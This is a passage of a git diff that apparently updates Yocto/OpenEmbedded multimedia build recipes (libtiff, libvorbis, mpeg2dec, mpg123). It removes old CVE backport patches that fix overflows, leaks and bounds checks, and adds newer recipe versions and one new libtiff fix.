- extern void* _TIFFCheckRealloc(TIFF*, void*, tmsize_t, tmsize_t, const char*);
-
---
-2.17.1
-
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-17546.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2019-17546.patch
deleted file mode 100644
index 04c5410930..0000000000
--- a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-17546.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-libtiff: fix CVE-2019-17546
-
-Added after 4.0.10 release.
-
-CVE: CVE-2019-17546
-Upstream-Status: Backport [https://gitlab.com/libtiff/libtiff]
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-commit 4bb584a35f87af42d6cf09d15e9ce8909a839145
-Author: Even Rouault <even.rouault@spatialys.com>
-Date: Thu Aug 15 15:05:28 2019 +0200
-
- RGBA interface: fix integer overflow potentially causing write heap buffer overflow, especially on 32 bit builds. Fixes https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=16443. Credit to OSS Fuzz
-
-diff --git a/libtiff/tif_getimage.c b/libtiff/tif_getimage.c
-index c88b5fa..4da785d 100644
---- a/libtiff/tif_getimage.c
-+++ b/libtiff/tif_getimage.c
-@@ -949,16 +949,23 @@ gtStripContig(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- fromskew = (w < imagewidth ? imagewidth - w : 0);
- for (row = 0; row < h; row += nrow)
- {
-+ uint32 temp;
- rowstoread = rowsperstrip - (row + img->row_offset) % rowsperstrip;
- nrow = (row + rowstoread > h ? h - row : rowstoread);
- nrowsub = nrow;
- if ((nrowsub%subsamplingver)!=0)
- nrowsub+=subsamplingver-nrowsub%subsamplingver;
-+ temp = (row + img->row_offset)%rowsperstrip + nrowsub;
-+ if( scanline > 0 && temp > (size_t)(TIFF_TMSIZE_T_MAX / scanline) )
-+ {
-+ TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "Integer overflow in gtStripContig");
-+ return 0;
-+ }
- if (_TIFFReadEncodedStripAndAllocBuffer(tif,
- TIFFComputeStrip(tif,row+img->row_offset, 0),
- (void**)(&buf),
- maxstripsize,
-- ((row + img->row_offset)%rowsperstrip + nrowsub) * scanline)==(tmsize_t)(-1)
-+ temp * scanline)==(tmsize_t)(-1)
- && (buf == NULL || img->stoponerr))
- {
- ret = 0;
-@@ -1051,15 +1058,22 @@ gtStripSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- fromskew = (w < imagewidth ? imagewidth - w : 0);
- for (row = 0; row < h; row += nrow)
- {
-+ uint32 temp;
- rowstoread = rowsperstrip - (row + img->row_offset) % rowsperstrip;
- nrow = (row + rowstoread > h ? h - row : rowstoread);
- offset_row = row + img->row_offset;
-+ temp = (row + img->row_offset)%rowsperstrip + nrow;
-+ if( scanline > 0 && temp > (size_t)(TIFF_TMSIZE_T_MAX / scanline) )
-+ {
-+ TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "Integer overflow in gtStripSeparate");
-+ return 0;
-+ }
- if( buf == NULL )
- {
- if (_TIFFReadEncodedStripAndAllocBuffer(
- tif, TIFFComputeStrip(tif, offset_row, 0),
- (void**) &buf, bufsize,
-- ((row + img->row_offset)%rowsperstrip + nrow) * scanline)==(tmsize_t)(-1)
-+ temp * scanline)==(tmsize_t)(-1)
- && (buf == NULL || img->stoponerr))
- {
- ret = 0;
-@@ -1079,7 +1093,7 @@ gtStripSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- }
- }
- else if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, 0),
-- p0, ((row + img->row_offset)%rowsperstrip + nrow) * scanline)==(tmsize_t)(-1)
-+ p0, temp * scanline)==(tmsize_t)(-1)
- && img->stoponerr)
- {
- ret = 0;
-@@ -1087,7 +1101,7 @@ gtStripSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- }
- if (colorchannels > 1
- && TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, 1),
-- p1, ((row + img->row_offset)%rowsperstrip + nrow) * scanline) == (tmsize_t)(-1)
-+ p1, temp * scanline) == (tmsize_t)(-1)
- && img->stoponerr)
- {
- ret = 0;
-@@ -1095,7 +1109,7 @@ gtStripSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- }
- if (colorchannels > 1
- && TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, 2),
-- p2, ((row + img->row_offset)%rowsperstrip + nrow) * scanline) == (tmsize_t)(-1)
-+ p2, temp * scanline) == (tmsize_t)(-1)
- && img->stoponerr)
- {
- ret = 0;
-@@ -1104,7 +1118,7 @@ gtStripSeparate(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
- if (alpha)
- {
- if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, offset_row, colorchannels),
-- pa, ((row + img->row_offset)%rowsperstrip + nrow) * scanline)==(tmsize_t)(-1)
-+ pa, temp * scanline)==(tmsize_t)(-1)
- && img->stoponerr)
- {
- ret = 0;
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-6128.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2019-6128.patch
deleted file mode 100644
index 6f1fd4d447..0000000000
--- a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-6128.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-CVE: CVE-2019-6128
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 0c74a9f49b8d7a36b17b54a7428b3526d20f88a8 Mon Sep 17 00:00:00 2001
-From: Scott Gayou <github.scott@gmail.com>
-Date: Wed, 23 Jan 2019 15:03:53 -0500
-Subject: [PATCH] Fix for simple memory leak that was assigned CVE-2019-6128.
-
-pal2rgb failed to free memory on a few errors. This was reported
-here: http://bugzilla.maptools.org/show_bug.cgi?id=2836.
----
- tools/pal2rgb.c | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/tools/pal2rgb.c b/tools/pal2rgb.c
-index 01d8502ec..9492f1cf1 100644
---- a/tools/pal2rgb.c
-+++ b/tools/pal2rgb.c
-@@ -118,12 +118,14 @@ main(int argc, char* argv[])
- shortv != PHOTOMETRIC_PALETTE) {
- fprintf(stderr, "%s: Expecting a palette image.\n",
- argv[optind]);
-+ (void) TIFFClose(in);
- return (-1);
- }
- if (!TIFFGetField(in, TIFFTAG_COLORMAP, &rmap, &gmap, &bmap)) {
- fprintf(stderr,
- "%s: No colormap (not a valid palette image).\n",
- argv[optind]);
-+ (void) TIFFClose(in);
- return (-1);
- }
- bitspersample = 0;
-@@ -131,11 +133,14 @@ main(int argc, char* argv[])
- if (bitspersample != 8) {
- fprintf(stderr, "%s: Sorry, can only handle 8-bit images.\n",
- argv[optind]);
-+ (void) TIFFClose(in);
- return (-1);
- }
- out = TIFFOpen(argv[optind+1], "w");
-- if (out == NULL)
-+ if (out == NULL) {
-+ (void) TIFFClose(in);
- return (-2);
-+ }
- cpTags(in, out);
- TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &imagewidth);
- TIFFGetField(in, TIFFTAG_IMAGELENGTH, &imagelength);
---
-2.21.0
diff --git a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-7663.patch b/meta/recipes-multimedia/libtiff/tiff/CVE-2019-7663.patch
deleted file mode 100644
index f244fb2f32..0000000000
--- a/meta/recipes-multimedia/libtiff/tiff/CVE-2019-7663.patch
+++ /dev/null
@@ -1,77 +0,0 @@
-CVE: CVE-2019-7663
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From c6fc6c1fa895024c86285c58efd6424cf8078f32 Mon Sep 17 00:00:00 2001
-From: Thomas Bernard <miniupnp@free.fr>
-Date: Mon, 11 Feb 2019 10:05:33 +0100
-Subject: [PATCH 1/2] check that (Tile Width)*(Samples/Pixel) do no overflow
-
-fixes bug 2833
----
- tools/tiffcp.c | 8 +++++++-
- 1 file changed, 7 insertions(+), 1 deletion(-)
-
-diff --git a/tools/tiffcp.c b/tools/tiffcp.c
-index 2f406e2d..f0ee2c02 100644
---- a/tools/tiffcp.c
-+++ b/tools/tiffcp.c
-@@ -1408,7 +1408,7 @@ DECLAREreadFunc(readSeparateTilesIntoBuffer)
- int status = 1;
- uint32 imagew = TIFFRasterScanlineSize(in);
- uint32 tilew = TIFFTileRowSize(in);
-- int iskew = imagew - tilew*spp;
-+ int iskew;
- tsize_t tilesize = TIFFTileSize(in);
- tdata_t tilebuf;
- uint8* bufp = (uint8*) buf;
-@@ -1416,6 +1416,12 @@ DECLAREreadFunc(readSeparateTilesIntoBuffer)
- uint32 row;
- uint16 bps = 0, bytes_per_sample;
-
-+ if (spp > (0x7fffffff / tilew))
-+ {
-+ TIFFError(TIFFFileName(in), "Error, cannot handle that much samples per tile row (Tile Width * Samples/Pixel)");
-+ return 0;
-+ }
-+ iskew = imagew - tilew*spp;
- tilebuf = _TIFFmalloc(tilesize);
- if (tilebuf == 0)
- return 0;
---
-2.20.1
-
-
-From da6454aa80b9bb3154dfab4e8b21637de47531e0 Mon Sep 17 00:00:00 2001
-From: Thomas Bernard <miniupnp@free.fr>
-Date: Mon, 11 Feb 2019 21:42:03 +0100
-Subject: [PATCH 2/2] tiffcp.c: use INT_MAX
-
----
- tools/tiffcp.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/tools/tiffcp.c b/tools/tiffcp.c
-index f0ee2c02..8c81aa4f 100644
---- a/tools/tiffcp.c
-+++ b/tools/tiffcp.c
-@@ -41,6 +41,7 @@
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-+#include <limits.h>
-
- #include <ctype.h>
-
-@@ -1416,7 +1417,7 @@ DECLAREreadFunc(readSeparateTilesIntoBuffer)
- uint32 row;
- uint16 bps = 0, bytes_per_sample;
-
-- if (spp > (0x7fffffff / tilew))
-+ if (spp > (INT_MAX / tilew))
- {
- TIFFError(TIFFFileName(in), "Error, cannot handle that much samples per tile row (Tile Width * Samples/Pixel)");
- return 0;
---
-2.20.1
-
diff --git a/meta/recipes-multimedia/libtiff/tiff/eecb0712f4c3a5b449f70c57988260a667ddbdef.patch b/meta/recipes-multimedia/libtiff/tiff/eecb0712f4c3a5b449f70c57988260a667ddbdef.patch
new file mode 100644
index 0000000000..74f9649fdf
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff/eecb0712f4c3a5b449f70c57988260a667ddbdef.patch
@@ -0,0 +1,32 @@
+From eecb0712f4c3a5b449f70c57988260a667ddbdef Mon Sep 17 00:00:00 2001
+From: Even Rouault <even.rouault@spatialys.com>
+Date: Sun, 6 Feb 2022 13:08:38 +0100
+Subject: [PATCH] TIFFFetchStripThing(): avoid calling memcpy() with a null
+ source pointer and size of zero (fixes #362)
+
+Upstream-Status: Backport
+CVE: CVE-2022-0561
+
+---
+ libtiff/tif_dirread.c | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/libtiff/tif_dirread.c b/libtiff/tif_dirread.c
+index 23194ced..50ebf8ac 100644
+--- a/libtiff/tif_dirread.c
++++ b/libtiff/tif_dirread.c
+@@ -5777,8 +5777,9 @@ TIFFFetchStripThing(TIFF* tif, TIFFDirEntry* dir, uint32_t nstrips, uint64_t** l
+ _TIFFfree(data);
+ return(0);
+ }
+- _TIFFmemcpy(resizeddata,data, (uint32_t)dir->tdir_count * sizeof(uint64_t));
+- _TIFFmemset(resizeddata+(uint32_t)dir->tdir_count, 0, (nstrips - (uint32_t)dir->tdir_count) * sizeof(uint64_t));
++ if( dir->tdir_count )
++ _TIFFmemcpy(resizeddata,data, (uint32_t)dir->tdir_count * sizeof(uint64_t));
++ _TIFFmemset(resizeddata+(uint32_t)dir->tdir_count, 0, (nstrips - (uint32_t)dir->tdir_count) * sizeof(uint64_t));
+ _TIFFfree(data);
+ data=resizeddata;
+ }
+--
+GitLab
+
diff --git a/meta/recipes-multimedia/libtiff/tiff_4.0.10.bb b/meta/recipes-multimedia/libtiff/tiff_4.0.10.bb
deleted file mode 100644
index 5c008c53fe..0000000000
--- a/meta/recipes-multimedia/libtiff/tiff_4.0.10.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "Provides support for the Tag Image File Format (TIFF)"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=34da3db46fab7501992f9615d7e158cf"
-
-CVE_PRODUCT = "libtiff"
-
-SRC_URI = "http://download.osgeo.org/libtiff/tiff-${PV}.tar.gz \
- file://CVE-2019-6128.patch \
- file://CVE-2019-7663.patch \
- file://CVE-2019-14973.patch \
- file://CVE-2019-17546.patch \
-"
-SRC_URI[md5sum] = "114192d7ebe537912a2b97408832e7fd"
-SRC_URI[sha256sum] = "2c52d11ccaf767457db0c46795d9c7d1a8d8f76f68b0b800a3dfe45786b996e4"
-
-# exclude betas
-UPSTREAM_CHECK_REGEX = "tiff-(?P<pver>\d+(\.\d+)+).tar"
-
-inherit autotools multilib_header
-
-CACHED_CONFIGUREVARS = "ax_cv_check_gl_libgl=no"
-
-PACKAGECONFIG ?= "cxx jpeg zlib lzma \
- strip-chopping extrasample-as-alpha check-ycbcr-subsampling"
-
-PACKAGECONFIG[cxx] = "--enable-cxx,--disable-cxx,,"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg,"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib,"
-PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz,"
-
-# Convert single-strip uncompressed images to multiple strips of specified
-# size (default: 8192) to reduce memory usage
-PACKAGECONFIG[strip-chopping] = "--enable-strip-chopping,--disable-strip-chopping,,"
-
-# Treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA
-PACKAGECONFIG[extrasample-as-alpha] = "--enable-extrasample-as-alpha,--disable-extrasample-as-alpha,,"
-
-# Control picking up YCbCr subsample info. Disable to support files lacking
-# the tag
-PACKAGECONFIG[check-ycbcr-subsampling] = "--enable-check-ycbcr-subsampling,--disable-check-ycbcr-subsampling,,"
-
-# Support a mechanism allowing reading large strips (usually one strip files)
-# in chunks when using TIFFReadScanline. Experimental 4.0+ feature
-PACKAGECONFIG[chunky-strip-read] = "--enable-chunky-strip-read,--disable-chunky-strip-read,,"
-
-PACKAGES =+ "tiffxx tiff-utils"
-FILES_tiffxx = "${libdir}/libtiffxx.so.*"
-FILES_tiff-utils = "${bindir}/*"
-
-do_install_append() {
- oe_multilib_header tiffconf.h
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-multimedia/libtiff/tiff_4.3.0.bb b/meta/recipes-multimedia/libtiff/tiff_4.3.0.bb
new file mode 100644
index 0000000000..6b933a409b
--- /dev/null
+++ b/meta/recipes-multimedia/libtiff/tiff_4.3.0.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Provides support for the Tag Image File Format (TIFF)"
+DESCRIPTION = "Library provides support for the Tag Image File Format \
+(TIFF), a widely used format for storing image data. This library \
+provide means to easily access and create TIFF image files."
+HOMEPAGE = "http://www.libtiff.org/"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=34da3db46fab7501992f9615d7e158cf"
+
+CVE_PRODUCT = "libtiff"
+
+SRC_URI = "http://download.osgeo.org/libtiff/tiff-${PV}.tar.gz \
+ file://0001-tiffset-fix-global-buffer-overflow-for-ASCII-tags-wh.patch \
+ file://561599c99f987dc32ae110370cfdd7df7975586b.patch \
+ file://eecb0712f4c3a5b449f70c57988260a667ddbdef.patch"
+
+SRC_URI[sha256sum] = "0e46e5acb087ce7d1ac53cf4f56a09b221537fc86dfc5daaad1c2e89e1b37ac8"
+
+# exclude betas
+UPSTREAM_CHECK_REGEX = "tiff-(?P<pver>\d+(\.\d+)+).tar"
+
+# Tested with check from https://security-tracker.debian.org/tracker/CVE-2015-7313
+# and 4.3.0 doesn't have the issue
+CVE_CHECK_IGNORE += "CVE-2015-7313"
+
+inherit autotools multilib_header
+
+CACHED_CONFIGUREVARS = "ax_cv_check_gl_libgl=no"
+
+PACKAGECONFIG ?= "cxx jpeg zlib lzma \
+ strip-chopping extrasample-as-alpha check-ycbcr-subsampling"
+
+PACKAGECONFIG[cxx] = "--enable-cxx,--disable-cxx,,"
+PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg,"
+PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib,"
+PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz,"
+
+# Convert single-strip uncompressed images to multiple strips of specified
+# size (default: 8192) to reduce memory usage
+PACKAGECONFIG[strip-chopping] = "--enable-strip-chopping,--disable-strip-chopping,,"
+
+# Treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA
+PACKAGECONFIG[extrasample-as-alpha] = "--enable-extrasample-as-alpha,--disable-extrasample-as-alpha,,"
+
+# Control picking up YCbCr subsample info. Disable to support files lacking
+# the tag
+PACKAGECONFIG[check-ycbcr-subsampling] = "--enable-check-ycbcr-subsampling,--disable-check-ycbcr-subsampling,,"
+
+# Support a mechanism allowing reading large strips (usually one strip files)
+# in chunks when using TIFFReadScanline. Experimental 4.0+ feature
+PACKAGECONFIG[chunky-strip-read] = "--enable-chunky-strip-read,--disable-chunky-strip-read,,"
+
+PACKAGES =+ "tiffxx tiff-utils"
+FILES:tiffxx = "${libdir}/libtiffxx.so.*"
+FILES:tiff-utils = "${bindir}/*"
+
+do_install:append() {
+ oe_multilib_header tiffconf.h
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-multimedia/libvorbis/libvorbis/CVE-2017-14160.patch b/meta/recipes-multimedia/libvorbis/libvorbis/CVE-2017-14160.patch
deleted file mode 100644
index b7603c3b13..0000000000
--- a/meta/recipes-multimedia/libvorbis/libvorbis/CVE-2017-14160.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 018ca26dece618457dd13585cad52941193c4a25 Mon Sep 17 00:00:00 2001
-From: Thomas Daede <daede003@umn.edu>
-Date: Wed, 9 May 2018 14:56:59 -0700
-Subject: [PATCH] CVE-2017-14160: fix bounds check on very low sample rates.
-
----
-CVE: CVE-2017-14160 CVE-2018-10393
-
-Upstream-Status: Backport [gitlab.com/Xiph.Org/Vorbis/Commits/018ca26d...]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
----
----
- lib/psy.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/lib/psy.c b/lib/psy.c
-index 422c6f1..1310123 100644
---- a/lib/psy.c
-+++ b/lib/psy.c
-@@ -602,8 +602,9 @@ static void bark_noise_hybridmp(int n,const long *b,
- for (i = 0, x = 0.f;; i++, x += 1.f) {
-
- lo = b[i] >> 16;
-- if( lo>=0 ) break;
- hi = b[i] & 0xffff;
-+ if( lo>=0 ) break;
-+ if( hi>=n ) break;
-
- tN = N[hi] + N[-lo];
- tX = X[hi] - X[-lo];
---
-1.7.9.5
-
diff --git a/meta/recipes-multimedia/libvorbis/libvorbis/CVE-2018-10392.patch b/meta/recipes-multimedia/libvorbis/libvorbis/CVE-2018-10392.patch
deleted file mode 100644
index b7936b4b4d..0000000000
--- a/meta/recipes-multimedia/libvorbis/libvorbis/CVE-2018-10392.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 112d3bd0aaacad51305e1464d4b381dabad0e88b Mon Sep 17 00:00:00 2001
-From: Thomas Daede <daede003@umn.edu>
-Date: Thu, 17 May 2018 16:19:19 -0700
-Subject: [PATCH] Sanity check number of channels in setup.
-
-Fixes #2335.
-
----
-CVE: CVE-2018-10392
-
-Upstream-Status: Backport [gitlab.com/Xiph.Org/Vorbis/Commits/112d3bd...]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
----
-
- lib/vorbisenc.c | 1 +
- 1 file changed, 1 insertion(+)
-
-
-diff --git a/lib/vorbisenc.c b/lib/vorbisenc.c
-index 4fc7b62..64a51b5 100644
---- a/lib/vorbisenc.c
-+++ b/lib/vorbisenc.c
-@@ -684,6 +684,7 @@ int vorbis_encode_setup_init(vorbis_info *vi){
- highlevel_encode_setup *hi=&ci->hi;
-
- if(ci==NULL)return(OV_EINVAL);
-+ if(vi->channels<1||vi->channels>255)return(OV_EINVAL);
- if(!hi->impulse_block_p)i0=1;
-
- /* too low/high an ATH floater is nonsensical, but doesn't break anything */
---
-1.7.9.5
-
diff --git a/meta/recipes-multimedia/libvorbis/libvorbis_1.3.6.bb b/meta/recipes-multimedia/libvorbis/libvorbis_1.3.6.bb
deleted file mode 100644
index 1a3cdc2269..0000000000
--- a/meta/recipes-multimedia/libvorbis/libvorbis_1.3.6.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "Ogg Vorbis Audio Codec"
-DESCRIPTION = "Ogg Vorbis is a high-quality lossy audio codec \
-that is free of intellectual property restrictions. libvorbis \
-is the main vorbis codec library."
-HOMEPAGE = "http://www.vorbis.com/"
-BUGTRACKER = "https://trac.xiph.org"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=70c7063491d2d9f76a098d62ed5134f1 \
- file://include/vorbis/vorbisenc.h;beginline=1;endline=11;md5=d1c1d138863d6315131193d4046d81cb"
-DEPENDS = "libogg"
-
-SRC_URI = "http://downloads.xiph.org/releases/vorbis/${BP}.tar.xz \
- file://0001-configure-Check-for-clang.patch \
- file://CVE-2018-10392.patch \
- file://CVE-2017-14160.patch \
- "
-SRC_URI[md5sum] = "b7d1692f275c73e7833ed1cc2697cd65"
-SRC_URI[sha256sum] = "af00bb5a784e7c9e69f56823de4637c350643deedaf333d0fa86ecdba6fcb415"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb b/meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb
new file mode 100644
index 0000000000..023bce0abe
--- /dev/null
+++ b/meta/recipes-multimedia/libvorbis/libvorbis_1.3.7.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Ogg Vorbis Audio Codec"
+DESCRIPTION = "Ogg Vorbis is a high-quality lossy audio codec \
+that is free of intellectual property restrictions. libvorbis \
+is the main vorbis codec library."
+HOMEPAGE = "https://xiph.org/vorbis/"
+BUGTRACKER = "https://gitlab.xiph.org/xiph/vorbis/-/issues"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=73d9c8942c60b846c3bad13cc6c2e520 \
+ file://include/vorbis/vorbisenc.h;beginline=1;endline=11;md5=c95a4ac2b4125f00a9acf61449ebb843"
+DEPENDS = "libogg"
+
+SRC_URI = "http://downloads.xiph.org/releases/vorbis/${BP}.tar.xz \
+ file://0001-configure-Check-for-clang.patch \
+ "
+SRC_URI[md5sum] = "50902641d358135f06a8392e61c9ac77"
+SRC_URI[sha256sum] = "b33cc4934322bcbf6efcbacf49e3ca01aadbea4114ec9589d1b1e9d20f72954b"
+
+inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb b/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
index 00ca3675ca..fd8b561657 100644
--- a/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
+++ b/meta/recipes-multimedia/mpeg2dec/mpeg2dec_0.5.1.bb
@@ -1,7 +1,11 @@
SUMMARY = "Library and test program for decoding MPEG-2 and MPEG-1 video streams"
-HOMEPAGE = "http://libmpeg2.sourceforge.net/"
+DESCRIPTION = "mpeg2dec is a test program for libmpeg2. It decodes \
+mpeg-1 and mpeg-2 video streams, and also includes a demultiplexer \
+for mpeg-1 and mpeg-2 program streams. The main purpose of mpeg2dec \
+is to have a simple test bed for libmpeg2."
+HOMEPAGE = "https://libmpeg2.sourceforge.io/"
SECTION = "libs"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LICENSE_FLAGS = "commercial"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://include/mpeg2.h;beginline=1;endline=22;md5=7766f4fcb58f0f8413c49a746f2ab89b"
@@ -30,18 +34,18 @@ PACKAGECONFIG[x11] = "--with-x,--without-x,virtual/libx11 libxext libxv"
PACKAGES = "mpeg2dec-dbg mpeg2dec mpeg2dec-doc libmpeg2 libmpeg2-dev libmpeg2convert libmpeg2convert-dev libmpeg2-staticdev libmpeg2convert-staticdev"
-FILES_${PN} = "${bindir}/*"
-FILES_libmpeg2 = "${libdir}/libmpeg2.so.*"
-FILES_libmpeg2convert = "${libdir}/libmpeg2convert.so.*"
-FILES_libmpeg2-dev = "${libdir}/libmpeg2.so \
+FILES:${PN} = "${bindir}/*"
+FILES:libmpeg2 = "${libdir}/libmpeg2.so.*"
+FILES:libmpeg2convert = "${libdir}/libmpeg2convert.so.*"
+FILES:libmpeg2-dev = "${libdir}/libmpeg2.so \
${libdir}/libmpeg2.la \
${libdir}/libmpeg2arch.la \
${libdir}/pkgconfig/libmpeg2.pc \
${includedir}/mpeg2dec/mpeg2.h"
-FILES_libmpeg2-staticdev = "${libdir}/libmpeg2.a"
-FILES_libmpeg2convert-dev = "${libdir}/libmpeg2convert.so \
+FILES:libmpeg2-staticdev = "${libdir}/libmpeg2.a"
+FILES:libmpeg2convert-dev = "${libdir}/libmpeg2convert.so \
${libdir}/libmpeg2convert.la \
${libdir}/libmpeg2convertarch.la \
${libdir}/pkgconfig/libmpeg2convert.pc \
${includedir}/mpeg2dec/mpeg2convert.h"
-FILES_libmpeg2convert-staticdev = "${libdir}/libmpeg2convert.a"
+FILES:libmpeg2convert-staticdev = "${libdir}/libmpeg2convert.a"
diff --git a/meta/recipes-multimedia/mpg123/mpg123/sdl2.patch b/meta/recipes-multimedia/mpg123/mpg123/sdl2.patch
deleted file mode 100644
index 9dc9b923df..0000000000
--- a/meta/recipes-multimedia/mpg123/mpg123/sdl2.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Use libsdl2 instead of libsdl 1.2, which is dead upstream.
-
-Luckily the API that mpg123 use didn't change so this is a trivial change.
-
-Upstream-Status: Submitted [https://sourceforge.net/p/mpg123/bugs/268/]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/configure.ac b/configure.ac
-index 6216d4f..b8d3344 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1694 +1694 @@ do
-- PKG_CHECK_MODULES(SDL, sdl, output_modules="$output_modules sdl" HAVE_SDL="yes", HAVE_SDL="no" check_failed=yes)
-+ PKG_CHECK_MODULES(SDL, sdl2, output_modules="$output_modules sdl" HAVE_SDL="yes", HAVE_SDL="no" check_failed=yes)
diff --git a/meta/recipes-multimedia/mpg123/mpg123_1.25.12.bb b/meta/recipes-multimedia/mpg123/mpg123_1.25.12.bb
deleted file mode 100644
index a18b2f4417..0000000000
--- a/meta/recipes-multimedia/mpg123/mpg123_1.25.12.bb
+++ /dev/null
@@ -1,51 +0,0 @@
-SUMMARY = "Audio decoder for MPEG-1 Layer 1/2/3"
-DESCRIPTION = "The core of mpg123 is an MPEG-1 Layer 1/2/3 decoding library, which can be used by other programs. \
-mpg123 also comes with a command-line tool which can playback using ALSA, PulseAudio, OSS, and several other APIs, \
-and also can write the decoded audio to WAV."
-HOMEPAGE = "http://mpg123.de/"
-BUGTRACKER = "http://sourceforge.net/p/mpg123/bugs/"
-SECTION = "multimedia"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1e86753638d3cf2512528b99079bc4f3"
-
-SRC_URI = "https://www.mpg123.de/download/${BP}.tar.bz2 \
- file://sdl2.patch"
-SRC_URI[md5sum] = "ddb38254966eb38c77f220d456a1839d"
-SRC_URI[sha256sum] = "1ffec7c9683dfb86ea9040d6a53d6ea819ecdda215df347f79def08f1fe731d1"
-
-inherit autotools pkgconfig
-
-# The options should be mutually exclusive for configuration script.
-# If both alsa and pulseaudio are specified (as in the default distro features)
-# pulseaudio takes precedence.
-PACKAGECONFIG_ALSA = "${@bb.utils.filter('DISTRO_FEATURES', 'alsa', d)}"
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'pulseaudio', 'pulseaudio', '${PACKAGECONFIG_ALSA}', d)}"
-
-PACKAGECONFIG[alsa] = "--with-default-audio=alsa,,alsa-lib"
-PACKAGECONFIG[esd] = ",,esound"
-PACKAGECONFIG[jack] = ",,jack"
-PACKAGECONFIG[openal] = ",,openal-soft"
-PACKAGECONFIG[portaudio] = ",,portaudio-v19"
-PACKAGECONFIG[pulseaudio] = "--with-default-audio=pulse,,pulseaudio"
-PACKAGECONFIG[sdl] = ",,libsdl2"
-
-# Following are possible sound output modules:
-# alsa arts coreaudio dummy esd jack nas openal os2 oss portaudio pulse sdl sndio sun tinyalsa win32 win32_wasapi
-AUDIOMODS += "${@bb.utils.filter('PACKAGECONFIG', 'alsa esd jack openal portaudio sdl', d)}"
-AUDIOMODS += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'pulse', '', d)}"
-
-EXTRA_OECONF = " \
- --enable-shared \
- --with-audio='${AUDIOMODS}' \
- ${@bb.utils.contains('TUNE_FEATURES', 'neon', '--with-cpu=neon', '', d)} \
- ${@bb.utils.contains('TUNE_FEATURES', 'altivec', '--with-cpu=altivec', '', d)} \
-"
-# Fails to build with thumb-1 (qemuarm)
-#| {standard input}: Assembler messages:
-#| {standard input}:47: Error: selected processor does not support Thumb mode `smull r5,r6,r7,r4'
